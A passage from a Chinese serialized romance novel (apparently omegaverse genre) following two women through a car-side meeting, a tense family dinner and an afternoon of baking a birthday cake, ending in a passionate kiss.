这一整天,脑子像是不受姜映的控制,只要她稍稍闲一下来,就会冒出昨晚的画面,不仅如此,还主动开始复盘总结,她不是故意去想的,控制不了自己,所以会时不时脸红,研究院的同事还关心她是不是身体不舒服。 姜映说不出口,求饶:“姐姐你可不可以不要再问这个了。” 程卿言笑了笑,暂时放过她,问正经的:“你刚才是怎么知道我在这辆车里?” 车窗的隐私性很好,外面看不清车内的情况,又隔了一段距离,对方不可能看见她。 姜映想了想:“我也不清楚,我看见这辆车,就觉得它是你的,有种熟悉的感觉。” 又是熟悉。 这人怎么总是对她的东西感到熟悉,程卿言觉得有些神奇,正要说话,女生的手机铃声响了。 姜映看着她,下意识请示道:“我可以接电话吗?” “你接。” 姜映笑着应好,按了接通,回应几声后就将其挂断了,对女人道:“我下车取一下东西,很快回来。” 挨得太近,程卿言听见她的通话内容,有人给她送U盘:“去吧,我等着你,不着急。” 女生下车后,她拿起手机回复了几条工作消息,偶尔抬头看一眼不远处女生的背影,看了之后又垂下头继续回消息。 在看第三次时,姜映身边多了一个人,应该是来送东西的,程卿言没在意,已经垂下了头,眉心忽然拧了一下,想到了什么,再度抬头看着姜映身旁人。 眼神探究,神色逐渐严肃。 待姜映回来后,她主动问:“给你送东西的人是谁?” 姜映告诉她:“我室友林溪。” 程卿言:“她今年多大了?” “和我一样,马上二十一了,”姜映不解她问这些做什么,“怎么了?” 程卿言摇头:“没什么,觉得她有些眼熟。” 身形轮廓和她知道的那位太像了,若不是年纪对不上,真的会以为是同一个人 不过即使年纪对上了,也不可能事那人,毕竟已经去世多年了。 眼熟? 姜映好奇:“你认识她?” “她是哪里的人?”程卿言问 姜映说:“就是碚城本地的。” 既然是碚城人,和港城隔得那么远,也不可能和那位有亲戚关系。 程卿言道:“那就不认识,只是和我认识的人长得比较像。” 姜映哦了一声,世界上长得相似的人有很多,既然女人说不认识,没将这事放在心上。 程卿言也珍惜和她相处的时间,没有去聊别人,问道:“你这周日有空吗?” 姜映说:“有的。” 正常情况下是有的,研究院在周末都会正常放假,但放假归放假,工作任务多起来,该加班还是得加班。 程卿言问她:“到时候你来我家,我们一起做蛋糕,你觉得怎么样?” 姜映眼睛一亮,应了声好。 程卿言:“你会吗?” “基础的步骤是会的。” “之前学过?” “前年周青月生日,我和林溪一起给她做了一个蛋糕,”姜映说,“不过做出来不怎么好看。” 程卿言说:“没事,没毒就行。” “啊?”姜映茫然。 程卿言捏她的脸,给她解释:“云秋染你还记得吗,上次你在青朝杯的庆功宴上喝醉了,我和她一起去接的你。” 姜映点头:“我记得。” 云秋染是大明星,她记得她们传过绯闻,绯闻说程卿言对云秋染求而不得。 程卿言:“过几天是她生日,我们一起做个蛋糕送她。” 既然做来是送人的,姜映道:“我这两天认真看点教学,争取做好看一点。” “不用这么较真,刚才不是说了吗,没毒就可以了,”程卿言知道女生很忙,她可不想让她牺牲为数不多的休息时间去研究做蛋糕,“你等会儿加一个秦助理的微信,需要什么材料和工具,你直接发给她,她会安排人去买。” 姜映都听她的:“好的。” 程卿言看了眼时间,已经六点二十了,最多再待五分钟她就得走了。 时间怎么过得这么快,她感觉她们没说上几句话,心里生出些烦躁,很想光明正大地带着姜映一起回老宅。 但也只能想想,目前不行,她有很多顾虑,不能将姜映卷入复杂的事情中,还得等一段日子,等她的腺体恢复,等她彻底掌权,没有人能束缚她时,她才能随心所欲做任何事情。 姜映见她的脸色忽然有些不好,有些担忧,主动伸手摸了摸女人的额头。 程卿言握着她的手,勾唇笑:“你在干嘛?” 姜映说:“给你量一量体温。” 程卿言:“是正常的吗?” 姜映点头:“正常的。” “肯定正常,你今天不是监督我吃药了嘛,”女生不仅发消息提醒她,还让她吃了药之后,把空了的药袋拍给她看,程卿言都很配合地照做了,她问,“我今天是不是很听话?” 也只有她会用“听话”用来形容自己,如果余简予在场,会说她不要脸。 姜映朝着她笑了一下:“听话。” 程卿言:“那我的奖励呢?” 奖励? 没有提前给她说需要奖励。 姜映主动问:“你想要什么?” 程卿言想了想:“给我一个愿望吧,等我想好了,我来找你实现。” 姜映应了声好,严谨道:“如果是我实现不了的事情,那怎么办?” “我不管,”程卿言说,“你自己想办法。” 姜映点头:“好吧。” 程卿言说:“我得走了。” 她说了这话后,小姑娘很舍不得地看着她,看得她心都要融化了,伸手抱住她,下巴搁在女生肩膀上。 姜映心跳加速:“姐姐。” “嗯?” “你好香。” 程卿言眉尾上挑,都抱了多少次了,现在才觉得她香,问:“你闻见了什么味道?” 姜映如实说:“安心的味道,尘埃落定的味道。” 程卿言呼吸一颤,没想到她会这样回复,这坏东西总是一本正经说情话,搞得她心口那块热热的。 “好了,你快去食堂吃饭。”抱了一会儿后,她松开她。 姜映道别:“那我走了。” 程卿言点头,短短半个小时,看着女生兴奋地跑向她,又看着她一步三回头失落地远离她。 明明在同一座城市,也经常见面,怎么搞得像永远一样。 而且她意识到,从她确定确认心意开始,她们的每一次道别,好像都是以拥抱结束的。 拥抱。 安心的感觉,尘埃落定的感觉。 程卿言忽然觉得这不是情话,而是事实。 她喜欢同她拥抱,抱起来很舒适,和做|爱产生的舒服不同,拥抱带给她的是一种安心放松的感觉。 如果姜映真的不行,她大概也会接受,就这样抱着过一辈子也是件幸福安稳的事。 一天的疲惫,因为这短短半个小时的相处,消减了不少。 程卿言呼了口气,见姜映走到大门口后并没有进去,而是站在那吹着寒风,看着她停车的方向。 这小傻子,她不走,就一直这样看着吗? 程卿言出声,让秦助理开车回了老宅。 半个小时后,车停在老宅的院子里。 程卿言是最后一个进屋的,小姑程笠,和二叔程深绩一家已经到了。 程老太太问道:“怎么回来这么晚?” “有点事要处理。”程卿言言简意赅,没有过多解释。 程老太太也没多问,发话让大家入座用餐,佣人开始上菜。 程家不封建,但基本的家规还是有的,吃饭时大家都很安静,没有怎么说话。 饭后,程深绩的大女儿程晓曦问道:“奶奶,你今晚让我们回来吃饭是有什么事要说吗?” “没事就不能陪回来陪我?”程老太太道。 程晓曦拉着老太太的胳膊撒娇:“当然不是呀,我每天都可以回来陪奶奶。” 程深绩接话:“对啊,小曦可以每天回来陪你,她打小就喜欢和你待在一起,可不是那些不服长辈管教,讨厌长辈待在一起的人。” 在这阴阳怪气说谁。 程卿言时间宝贵,不想和蠢货说话,垂眸看着手机,处理这工作。 程笠这会儿没事做,笑着道:“确实该让小曦天天回老宅来陪妈,她平时也没事情做,这样小曦还能在外面少闯些祸,少花些钱了。” 程晓曦皱眉,反驳:“小姑你可别乱说,我又不是你的学生,你别当老师当习惯了,开口就教训人。” 程笠笑了一声:“我没空教训你,我说的是事实。” 程晓曦:“你……” “行了,别争论了,”程老太太出声打断,“叫你们回来不是让你们吵架的。” 程晓曦不乐意,小声嘀咕:“偏心……” 程老太太当做没听见,严肃道:“月末的时间记得空出来,全家一起去墓园,今年我提前说了,你们得把时间安排好,到时候别说有事耽搁去不了,我不想见到这样的话,知道了吗?” “知道了。” 大家齐声回了一句。 程老太太点头,得到回复后,没有继续再说这件事,收起了严肃,又是和蔼老太太的形象,和大家一起聊了会儿天。 九点左右,程老太太身体有些乏了,程晓曦很主动地站起来,准备扶着她回房间。 “你坐着玩吧,”程老太太道,“卿言陪送我回房。” 程卿言作为晚辈,这些事她不会拒绝,应了声好,扶着她坐电梯上楼。 “真偏心。”程晓曦看着她们的背影,咬牙切齿道。 程笠抬头看她一眼,直白道:“这种偏心如果落在你身上,你可能早就受不了了。” 程深绩道冷冷道:“三妹你有什么资格说这种话?” 程老太太一共三个孩子,程卿言的母亲是老大,是老太太寄予厚望,最骄傲最满意的孩子,老三程笠比程卿言大一点点,老太太的晚来女,活的轻松自在,被宠着长大。 他作为老二,是被忽视得最多的,既不受宠,也得不到重用,他的子女也得不到老太太的重用。 老大不在了,就该他继承程家才对,可是老太太偏心,根本没给过他机会,将所有心思都放在了程卿言身上。 程笠无语地看了眼他,没能力还爱争,像有人虐待过他似的,再说被老太太寄予厚望,当做继承人培养,可不是件幸福的事。 程深绩的脑子是被驴踢过吗,她不理解,她也不想和蠢货说话,拿起手机回房间休息了。 几分钟前热闹的客厅,在程老太太上楼后,很快安静下来。 二楼同样安静。 程卿言扶着老太太回了房间,老太太年纪虽大,眸光却不浑浊,片刻道:“你最近好像瘦了。” 程卿言:“应该是您的错觉。” “工作很累?” “还好。” “那就是因为别的事情才那么累。”程老太太说。 程卿言眉心颤了一下:“您想说什么?” 程老太太看着她的眉眼,和她大女儿很相像的眉眼,静了片刻,疲惫地叹了口气,终究没说什么,摆手:“我困了,你出去吧。” 程卿言应了声好,转身离开,回了自己的房间。 她的房间就在老太太隔壁,紧紧挨着。 房间很大,装修豪华,程卿言在上高中前一直住在这里,可她对这间卧室并不熟悉,里面的东西不是她添置的,也不是按照她的喜好买的,若是有人去过她母亲的房间,再来这里,会发现两间卧室的装修风格几乎一模一样。 对程卿言而言,她的卧室就像是酒店,只是睡觉的地方。 走进去后,她甚至觉得有些压抑,床头没有她喜欢的青竹摆件,没有能让她凝神静心的青竹香氛。 程卿言眉心拧了拧,去浴室洗漱好后,掀开被子躺上床,靠着床头开始工作,时不时和姜映发点消息聊会儿天,很晚才睡觉。 睡前女生给她发了句原因,她点开听了听:姐姐晚安 程卿言嘴角扬了扬,轻轻呼了一口气。 次日天没亮,独自用了早餐,她坐车去了公司,渐行渐远,彻底远离老宅后,空气都变得清晰了很多。 若非必要,她一般不会在老宅留宿。 但这个月还得来住一晚,她双亲忌日那天,程老太太会让大家回来。 阳光透过车窗照了进来,程卿言眸光颤动,让自己不再去想从前那些事,不能陷于过去。 到了程氏大楼停车场,她没和往常一样立即下车,静静坐了会儿,整理好思绪后,深呼一口气,开车门气场十足地走进了公司。 接下来几日依旧繁忙,没时间和姜映见面,为了新项目的事,飞了一趟港城,在港城待了两天,周日早上才回到碚城。 洗完澡,吃了安眠药和体能药,程卿言躺在床上,抱着竹子玩偶沉沉睡了过去,她不知道她睡了多久,中途迷糊地醒了一次,瞧见了坐在床边守着她的alpha,她声音哑哑地问道:“几点了?” 姜映温柔地说:“十一点二十六。” “你来了多久了?”程卿言拉住她的手。 姜映:“两个多小时了。” 女人上一次就通知过门卫和物业,她已经可以自由进入月泊林了,她们约好了今日下午一起做蛋糕,但她等不到下午了,昨晚熬通宵加班,完成她的任务后,直接打车过来了。 “来这么早,”女人脸颊蹭了蹭她的掌心:“上来陪我再睡会儿。” 姜映想了想道:“我身上有点脏,我先去洗个澡?” “不想你走。” “很快就回来,两分钟。” 在姜映的保证下,女人松开了她的手,同意她去洗澡了,她速度快,说到做到,两分钟内就回了卧室,穿着睡袍,轻手轻脚掀开被子躺上床。 刚洗了澡,细腻光洁的肌肤此刻粉粉嫩嫩冒着热气,抱起来很舒服。 程卿言阖着眼睫,脚尖蹭着alpha的小腿,轻轻拧了下眉。 姜映问的眸光一直落在她脸上,察觉到了她细微的神情变化,关心道:“怎么了?” 程卿言还没睡醒,声音偏软:“想挨着你。” 姜映眨眼:“不是挨着的吗?” 女人摇头,咬着她的耳朵柔声说:“隔着衣服不舒服,脱掉……” 作者有话说: 脱姐姐的,还是妹妹? 晚安,明天见 第68章 吻住 吻住 第六十八章 程卿言的睡袍都不算短,alpha虽然比她高几厘米,穿在身上时长度也快到膝盖了,又是长袖,遮得比较严实。 她没穿睡袍,穿得是一件浅灰色的缎面吊带睡裙,露出来的肌肤比较多,但无法接触到女生热乎细腻的肌肤,只能碰到睡袍,对此有些不满。 睡前吃了安眠药和体能药,还没有睡醒,此刻神志处于迷糊状态。 程卿言说出让对方脱掉后,没有等待,指尖在alpha的腰肢上摩挲着,找到了睡袍带子,直接将其扯开,掌心贴在了女生瘦而有力的腰上,像是找到了玩具,指腹一下下抚着。 “姐…姐姐…” 一切发生得太快,姜映瞳孔放大,还没反应过来,腰腹猛得紧缩,额头上冒出了汗,伸手束缚住女人作乱的手,眸光渐深。 程卿言下意识反抗几下,挣扎不开:“你捏疼我了。” 姜映回神,深呼一口气,立马松开她,给她道歉:“对不起。” 女人嗯了一声,重新抱着她,迷糊道:“乖一点,别闹,我想睡觉……” “好的。” 姜映红着脸,宠溺地回应她,即使不好受,任由女人的手在她腰上摸来摸去,慢慢睡着了,也不松开她。 她虽然害羞,这些接触尚且在她的承受范围里,但是没过多久,她就逐渐承受不住了,躁动不安,浑身热了起来。 女人已经睡着了,不知道做了什么梦,双腿紧紧夹着她蹭了起来,姜映整个人僵硬住了,腿上那块被蹭着的肌理在发热,又热又痒,她感觉有点难受,喉咙发干。 太热了。 想离女人远一些,想将腿撤离,往后移时,膝盖不知道顶着了哪,睡梦中的女人呼吸变得急促,抱着她的手也用了力,紧紧地抓着她的背,在她耳边发了她喜欢听的声音。 “嗯……” 将近半分钟才松开她,呼吸恢复了平息,面颊绯红,安分地在她怀里进入了熟睡。 但姜映一直静不下来,眼眶红红的,她不知道她怎么,身体里像是有一团火在烧,热得她不舒服。 她的眸光会不由自主落在女人饱满红润的嘴唇上,抱着女人的手在发热,想动一动,想用力抱着她,又担心吵醒女人,只能将这些想法克制下去。 躺着缓了很久,才好受了很多,昨夜熬了通宵,困意袭来,眼睫合拢颤动,逐渐睡了过去。 * 程卿言先醒。 醒来时脑子有点懵,静静躺了会儿才睁开眼,女生熟睡的脸映入她的眼帘,她嘴角轻轻扬了一下。 欣赏片刻,轻轻坐了起来,靠着床头准备处理会儿工作消息。 但就在她坐起来时,被子随着她起身的动作掀开了一些,恰好瞧见被子里的情况。 程卿言眉心一颤:??? 坏家伙睡觉怎么还把睡袍解开了,不是说有肌肤裸露羞耻症吗,这会儿怎么不羞了呢。 赏心悦目,她多看了两眼,觉得有些悸动了,喉咙也痒痒的,打算去客厅接杯温水润润喉,起身穿鞋,刚走两步就顿住了,感觉有点不对劲儿,神色微微愣了两秒,转而拿了干净的衣物去了浴室。 洗完澡出来,程卿言穿着墨绿色睡裙站在床边,意味深长地看着熟睡中的alpha,哼了一声。 看起来人模人样,如此正派清淡的人,在她睡觉时居然会悄悄对她做那样的事情。 程卿言难得脸热,深深呼了口气,被弄成这样,自己居然没醒过来。 看来以后不能将安眠药和体能药混在一起吃,会削弱意志产生副作用,对她的影响太大,还好今日在她身旁的人是姜映,没出乱子。 眸光落在姜映脸上,静思着。 这人开了窍,试过一次后,欲念就这么重了吗。 不过她也理解,不会怪她,反而觉得挺有意思的。 年轻的alpha精力旺盛,又如此喜欢她,她的身材样貌又这般完美,忍不住也正常。 只不过…… 坏东西上次都知道给她清理一下,这次居然不给她清理,A德不高,程卿言呵了一声,打算掐醒她,弯腰附身要动手时又停了下来,看着女生眼睫下的乌青,心软了下去。 今天这么早就过来见她,将一整天的时间空了出来,昨晚说不准熬了一整宿。 精力再充沛,也经不起这样熬。 程卿言有些心疼,近期她们都比较忙,大部分时候都是姜映配合她的时间,她什么时候有空发消息,打电话,见面,对方就会将这些时间空出来留给她。 她问她忙不忙,会不会耽误正事,都说不忙,还好。 好什么好,黑眼圈都这么重了。 程卿言伸手给她理了理落在脸上的发丝,眸光柔和看了她一会儿,拿着手机出了卧室,打开电脑在客厅处理工作。 马上一点了,她有些饿,联系月泊林专门为业主提供服务的会所送餐,速度较快,二十多分钟后就送到了。 她饭量不大,自己吃了一些,剩下的都给姜映留着,等她醒了再吃, 吃饭的时候她在想,对方不会要睡一整个下午吧,如果睡得太久了,做蛋糕就来不及了。 * 姜映在女人吃饭时已经醒了,只不过有些不好意思出去,在卧室里磨蹭了几分钟。 她睁眼坐起来时睡袍带子是没系的,睡袍松松垮垮挂在身上露出了一大片肌肤,她什么都记得,红着脸手忙脚乱将其系好。 指腹不小心碰着了腿上那块女人磨蹭过的肌肤,因为她的恢复能力强,泛起的红已经消失了。 但是,麻酥酥的热意还在,摸上去很黏糊。 若在一个周前,她会猜测这是汗水干了之后的黏糊,但在瞧见女人腿上疤痕那晚,她不仅见到了这种黏糊,也亲口尝到过,她对此很熟悉 稍作思考,她便知晓这是女人快乐的痕迹。 姜映的脸红了起来,耳畔发热,所以姐姐睡着之后抱着她是在…… 啊。 睡着了也会想要吗。 对方原来这么想做这种事。 姜映开始反省自己,女人的需求大,但是见了面也没说出来,而是默默地忍在了心里,肯定是觉得她平时太忙了,不想麻烦她。 姜映内心感动,还有点愧疚,反思过后,她决定日后得努力克服她的羞涩,再主动一些。 主动开口询问,主动让女人快乐。 脸上的热意消失后,起床去了浴室,洗了脸,用湿巾擦干净腿上女人留下来的痕迹,呼了口气,去了客厅。 听见动静,程卿言抬眸:“起来了。” 姜映嗯了一声,走到她身旁主动问:“姐姐你是什么时候起来的?” “比你早一个一个小时吧,”程卿言捏了捏她的脸,“睡得舒服吗?” 姜映点头:“舒服。” 程卿言挑眉,睨了她一眼,当然舒服了,不仅睡了她床,睡前还玩了一会儿她。 这坏东西。 “呵。” 姜映:“怎么了?” 程卿言知道alpha下了床就害羞的性子,好心地没有直白地戳穿她,幽幽道:“你要是想吃,可以直接告诉我,不用悄悄的。” 已经进了腺体萎缩阶段,体能不行,不能在这事上过于折腾,孙影也嘱咐她得克制欲念,但也不是说一次都不能做。 吃了体能药,再休息好,只要不是翻来覆去地弄,她应该都能吃得消。 姜映颤睫,困惑:“吃什么?” 程卿言嗔了她一眼,下巴指了指餐桌:“让你去吃午饭。” 姜映哦了一声,打开餐盒,问道:“你吃了吗?” “吃了,剩下的都是你的,”程卿言想了想道,“如果凉了,你自己热一热再吃。” 姜映应好,安静乖巧地吃饭,吃完后主动收拾好垃圾:“姐姐。” “嗯?” “什么时候开始做蛋糕?” 程卿言抬头,见她吃完了,关上电脑:“现在吧,你去烘焙室看看需要的东西买起了没。” 她之前让姜映加了秦助理的微信,需要什么就给秦助理说,秦助理做事细心,该买的都安排人买了,没有遗漏。 姜映系好围裙,认真清洁了手,做蛋糕的步骤不多,但耗时较长,得四五个小时才能完成。 有些步骤戴着手套操作不是很方便,因此得把手洗干净。 “给我也洗洗。”程卿言将手递给她。 “好的。”姜映对着她笑了一下,挤了些洗手液出来,细细给女人洗手。 白色的泡泡覆在她们触碰到一起的手上,程卿言有些不安分,不是挠女生的掌心,就是把泡泡弄在女生的脸上,玩得挺起劲。 姜映也不生气,宠溺又无奈地看着她,求她:“姐姐你不要玩了,等会儿做蛋糕来不及了。” 态度很好,程卿言笑了一声,不闹她了,凑到她耳边说:“行,都听姜老师的。” 姜老师不习惯这个称呼,耳朵红了起来,一边整理着做蛋糕需要用到的原料,一边细声细气地说:“你别这样叫我。” 程卿言:“那我怎么叫你?” 姜映:“就叫名字。” “名字啊,”程卿言看着她灵活分离蛋黄蛋清的手指,“叫名字也可以,但一直叫名字你不会觉得腻吗?” 姜映摇头:“不会,你叫我什么,我都喜欢。” 都喜欢。 这人又开始一本正经说情话了。 程卿言哼笑一声,看着她道:“坏东西。” “啊?”姜映以为她听错了,茫然抬头看着她。 见着她这幅表情,程卿言双手环胸,笑着道:“不是说我叫你什么,你都喜欢吗,这就不喜欢了?” “没有不喜欢,”姜映颤睫,垂眸开始制作蛋黄糊,片刻后又抬头,开口:“姐姐。” 程卿言:“讲” 姜映好奇道:”我哪里坏了?” 她是做了什么事情,让女人不满意了吗。 这是什么问题,程卿言笑出声:“不想说。” 姜映认真道:“你告诉我,我才好改正。” “我又说我讨厌你坏吗,嗯?”程卿言不需要她改。 意思就是不讨厌,喜欢。 姜映眸光颤动,朝着她笑了一下,既然如此,她就不多问了,而且…… 她感觉她很喜欢“坏东西”这个称呼,从女人口中叫出来时,如同裹上了一层厚厚的奶油,细腻香甜,她回味片刻,心口也随之颤了几下,还想听女人这样叫她。 坏东西。 她感觉她有点兴奋。 姜映轻轻呼了一口,有些困惑,停下了手中的动作。 程卿言见她愣住了,以为她做蛋糕遇见问题了,开口道:“哪一步不对吗?” “没有,”姜映回神,将她的奇怪想法压下去,注意力重新落在手上,她做事认真专注,动手能力强,很快就将蛋糕胚做了出来,放进了烤箱。 “要烤多久?”程卿言问她。 姜映说:“四十分钟左右。” “烤好之后,拿出来就能抹奶油放水果了吗?” “不是的,出炉之后得等两个小时,让蛋糕胚完全冷却之后才能脱膜,不然在之后的加工中容易塌陷。”姜映耐心地给她解释。 做蛋糕原来这么麻烦,程卿言笑着看着她,夸奖道:“你怎么什么都会,这么厉害。” 姜映有点不好意思:“我之前做过一次,有一点点经验,不能算厉害。” 小姑娘还谦虚上了。 程卿言挑眉,眸光落在女生的手臂上,纤细白皙,但并不孱弱,方才搅拌蛋清时,流畅的肌肉线条显了出来,看起来很有力量。 她只体会过alpha柔软温热的唇舌,如果是用手,体验感会有差异吗? 眸光颤了颤,程卿言提了口气,觉得有些热,开了瓶水喝了几口。 姜映利索地准备好了下一环节要用到的材料,片刻后烤箱叮了一声,定的时间到的,她取出烤制成功的蛋糕胚,静置在操作台上冷却。 得等两个小时,没有在烘焙室守着,一起回了客厅。 拉面丸子咬着玩具兴奋地跑到她们跟前,眼巴巴地看着她们:玩玩玩,陪小狗玩 姜映这会儿没事,耐心地陪着它们玩了一会儿。 程卿言打开电脑继续工作,时不时抬头看看她们,嘴角扬了起来。 家里有着她喜欢味道,她喜欢的人正在陪她的宠物玩闹,即使她得工作没空参与进去,依旧为此感到幸福。 忽然想让时间停留在此刻,定格,永远珍藏。 可是未来不应该更好吗,程卿言不是惧怕未来的人,她为何会冒出这种想法。 静了几息,没再多想,程卿言处理好比较紧急的工作后就等了下来,出声道:“姜映。” 姜映回头,眼眸弯弯看着她:“怎么了?” “你陪它们玩了多久了?” “应该快一个小时了。” “这么久,”程卿言勾手,示意女生走到她跟前,幽幽道,“你陪它们玩这么久,把我丢在一旁。” 天地良心。 姜映冤枉:“你刚才要工作。” 程卿言呵了一声:“你就不能想办法,一边让我工作,一片陪我玩会儿?” “啊?”姜映认真地思考了女人说的话,颤了颤眼睫,无辜道地看着她。 程卿言笑了一声,拉着她坐下,问她:“你是喜欢拉面丸子多一些,还是喜欢我多一些?” 她说这话时,也意识到她的问题很幼稚,和她成熟优雅的气质一点也不相符,若是和她相熟的朋友听见了,只会震惊地看着她,然后在笑话她。 但是她身旁小姑娘没有。 姜映红着脸,小声且认真地告诉她:“喜欢你多一点。”女人还没回应她,她隔了几秒,又补了一句,“最喜欢你。” 程卿言心情愉悦地看着女生越来越红的脸。 哎。 可爱。 她凑过去在她脸上亲了一下,作为奖励,她说:“喜欢我这样吗?” 姜映嗯了一声。 “我也喜欢你这样对我。”程卿言意有所指,捏着她的指尖说。 姜映心跳很快,颤动的眸光落在了女人红润的嘴唇上,滚了滚喉咙,靠近再靠近,想要吻上去时,蹲在旁边一直看着她们的拉面丸子叫了几声,表情困惑,好似在好奇她们要做什么。 汪汪汪汪汪。 两双单纯的眼睛盯着她们,程卿言觉得有点奇怪,她没有在别人面前亲热的癖好,小狗也不能看见她那副软得不像话的样子。 成何体统。 女人推了推alpha,制止了这个吻。 姜映有些不舍,咬了咬唇,还听她的话停了下来。 程卿言摸着女生滚烫的耳朵,问道:“柚柚还在你邻居张阿姨家里吗?” 姜映点头。 “张阿姨年后不是要搬去她女儿的新家吗,到时候你可以把柚柚送到我这里来。” 张阿姨的女儿有鼻炎,对猫毛过敏,无法带走柚柚,但姜映近期忙,不能每天回家看柚柚,送到程卿言这里来是个很好的处理办法。 姜映想了想:“会不会打扰到你?” “不打扰,我喜欢动物,”程卿言直接道,“就这样定了,让柚柚来我这里。” 姜映点头:“好的。” 聊了会儿天,时间差不多,起身回了烘焙室继续做蛋糕。 姜映先将蛋糕胚切成了三块,先放了一块在转台上,铺上奶油和水果后,再放一片蛋糕胚在上面,继续上一步的操作。 这些环节比较简单,程卿言也上手参于了。 蛋糕组装好后,就得抹面了,想要让外表光滑好看,这一步是关键,对操作者有一定技术要求。 姜映对此也不是很熟练,勉强能抹匀称,女人提出要试一试,让她教她,她应了一声好。 操作台很大,她站到女人身后,从后面环着,握着女人的手,认真地带着她一起操作。 家里恒温恒湿,很温暖,此刻都穿得很单薄,又挨得很近,程卿言的后背能明显地感觉到女生胸前的起伏,本来在认真地做蛋糕,开始走神了。 想起了中午醒来时看见的画面。 alpha的睡袍敞着,光景一览无余。 在女生贴在她背上的颗粒感越发明显时,程卿言呼吸重了些,腰腹那块也软软的。 这坏东西教她就教她,贴这么紧做什么,不仅如此,还动来动去的,是在勾引她? “不做了。” 程卿言从她怀里出来,开口道。 姜映:“是太难了吗?” 程卿言偏头嗔了她一眼:“我累了,你继续。” 再这样贴下去,她可不敢保证会不会发生什么,做蛋糕要紧,得在天黑之前给云秋染送过去。 姜映都听她的,拿着工具,垂眸继续。 她知晓这是女人用来送人的,她很重视,做得很认真,十来分钟后,她道:“姐姐你看看行吗?” 程卿言点头:“可以。” 姜映拿出已经融化还的巧克力,递给她:“你可以在上面写字了。” 程卿言思忖片刻,在蛋糕表层写上了祝福语。 用时四个半小时,蛋糕制作完成。 将其包装好,程卿言安排人给云秋染送过去,她提前给云秋染说过,那边也会派人出来拿。 还剩了一些材料,姜映主动提出给她做了一个小蛋糕。 很迷你,巴掌大小。 有现成的蛋糕胚,十多分钟就做好了,姜映去厨房找出一个漂亮的餐盘,将小蛋糕放上去,认真地摆了盘。 操作台上还有三根小蜡烛,她也点上了。 窗外天色已经黑了,烘焙房里开着暖光的灯,小小的烛火摇曳着,烛光映照在姜映眼眸里:“你尝尝。” 程卿言轻轻笑了一声,伸手摸了摸她的眉眼:“怎么搞得像我过生日一样。” 再过不久她就满三十了,此刻正好点了三根蜡烛。 姜映认真道:“你生日的时候我会做更好的。” 程卿言问:“你知道我的生日是哪天?” 姜映直接说出一个日期,程卿言挑眉:“怎么知道的?” “网上看见的。”姜映如实回答。 这人平时这么忙,居然还去网上搜索了她的信息,是有多喜欢她,程卿言嘴角扬了起来,对她说:“到时候你再教我做一次。” 姜映眼眸含笑:“好。” 约定好了以后,程卿言看着烛火,既然蜡烛都点了,喜欢的人亲手点的,她很有仪式感地闭上眼睛,双手合十许愿。 庆祝她拥有一个愉快的周末,她不会忘掉这一天,会永远记住。 片刻后她睁开眼:“吹蜡烛吧。” “我吗?” “嗯。” 姜映应好,凑到烛光前吹了一口气,三根蜡烛一个也没熄灭,她深呼一口气,再吹了一次,还是没灭。 嗯? 姜映疑惑。 程卿言道:“肺活量这么差” 姜映肺活量不差,学校每次体测,她的肺活量测出来都是优秀,想再试一次,女人拉住她:“我来试试。” 话音落下,女人轻轻一吹,蜡烛灭了。 程卿言洋洋得意,凑到她耳边道:“你不行呀姜老师。” 姜老师耳朵红了,想解释她行的,但事实就在眼前,她的解释会变成狡辩,盯着已经熄灭的蜡烛,有些不服气。 程卿言拿起勺子,尝了几口小蛋糕,口感和味道都不错:“你不吃吗?” 女生一直看着她,没有要动勺子的意思。 姜映摇头:“我不爱吃甜食。” 不爱吃甜食? 程卿言愣了一下,想起了她们刚认识那会儿,每次去找她,都会带甜食给她,甚至还在车里放了零食架,女生都没拒绝,乖乖地吃掉了。 直到女生的标记牙突然疼了起来,她才停止了投喂。 不爱吃甜,还配合她吃了这么多。 这小傻子。 程卿言心里软软的,轻轻掐了掐她的脸,柔和道:“不用一直这么听我的话,偶尔可以反抗一下。” “反抗什么?”姜映眨眼。 “反抗我,”程卿言说,“知道了吗?” 姜映点头:“知道了。” 程卿言嗯了一声,继续吃小蛋糕,小蛋糕不大,很快就吃完了。 姜映告诉她:“姐姐你嘴角上有奶油。” 程卿言问:“多吗?” “不多,一点点。”姜映说。 程卿言后腰倚着操作台:“帮我弄掉。” 姜映应好,拿起纸巾走到女人跟前,正打算帮她擦掉奶油时,女人却伸出舌尖舔了舔嘴唇的奶油,一点一点,慢慢地舔着。 她眸光颤动,不由自主滚了滚喉咙,呼吸快了几拍,开口时声音有些哑:“不是让我弄吗?” 程卿言凑到她耳边:“那你来舔干净。” 她深呼一口气,女人又说。 “再不来就没了。” 姜映垂眸,喉咙发干,脑子热热的,朝着女人的嘴唇靠近,在要亲上去那一秒,女人微微移开了脸,躲开她:“差点忘了,你不爱吃甜食,算…嗯…” 话音中断,alpha眼尾泛红,掌心禁锢在女人的腰上,将她抱在操作台上坐着那一瞬,直接吻住了她。 热烈汹涌。 第69章 哄好 哄好 第六十九章 程卿言吃东西很优雅,程家不封建,但程老太太在晚辈这些基本礼仪的教导上,相对严格,她做为程家的继承人,对她就更严格了。 常年养成了的良好用餐习惯让她不可能在嘴角上覆了那么多奶油,即使弄上去一点点,她也会察觉到,无需别人提醒。 她这次是故意弄上去的。 程卿言承认她是故意惹alpha。 故意惹她,逗她。 按照她对女生性子的了解,无论她怎么逗,即使惹急了,只要她叫停,对方都会乖乖地听她的话。 就像那天在床上,她舒服过后要睡觉了,让女生停下,就听话地停下了,没有再继续。 这会儿姜映吻她,却不像她想象的那样,让停就停。 她被抱起来坐在了操作台上,alpha一手扶着她的腰,一手握着她小腿,直接吻住了她。 完全不用她教,轻轻地吻了吻她的唇,又抿了抿,在她微微张开嘴时,女生的舌头便主动地探了进去,她全程被带着,毫无反击之力。 任由alpha亲吻着。 不知道过了多久,女人胸腔的氧气耗尽,快呼吸不过来了,掌心无力地推了推女生。 姜映似乎也感受到了她的难受,贴心地停了下来,没有再继续吻女人,女人抱着她断断续续地呼吸着,她听得很认真,耳朵发痒。 心口那块儿依旧很热,颤动的眸光落在了女人泛着泪光的眼尾上,她喉咙滚动,没忍住又吻了上去。 轻轻咬女人的唇,听见了她喜欢听的呼吸,她能感觉到女人在掐她的腰,可是力气好小,一点也不疼。 她也很贴心,担心女人呼吸不过来会难受,吻一两分钟就会主动停下来让女人休息一两秒,然后再继续,如此反复。 女人在骂她,骂声夹杂在断断续续的呼吸声里,尾音有些颤,骂她是坏东西,混蛋,叫她停下。 姜映喜欢听,越听越兴奋。 有几秒她也在想要不要乖乖听话,不再吻了,虽然她想吻,不想停,最终还是没有听话。 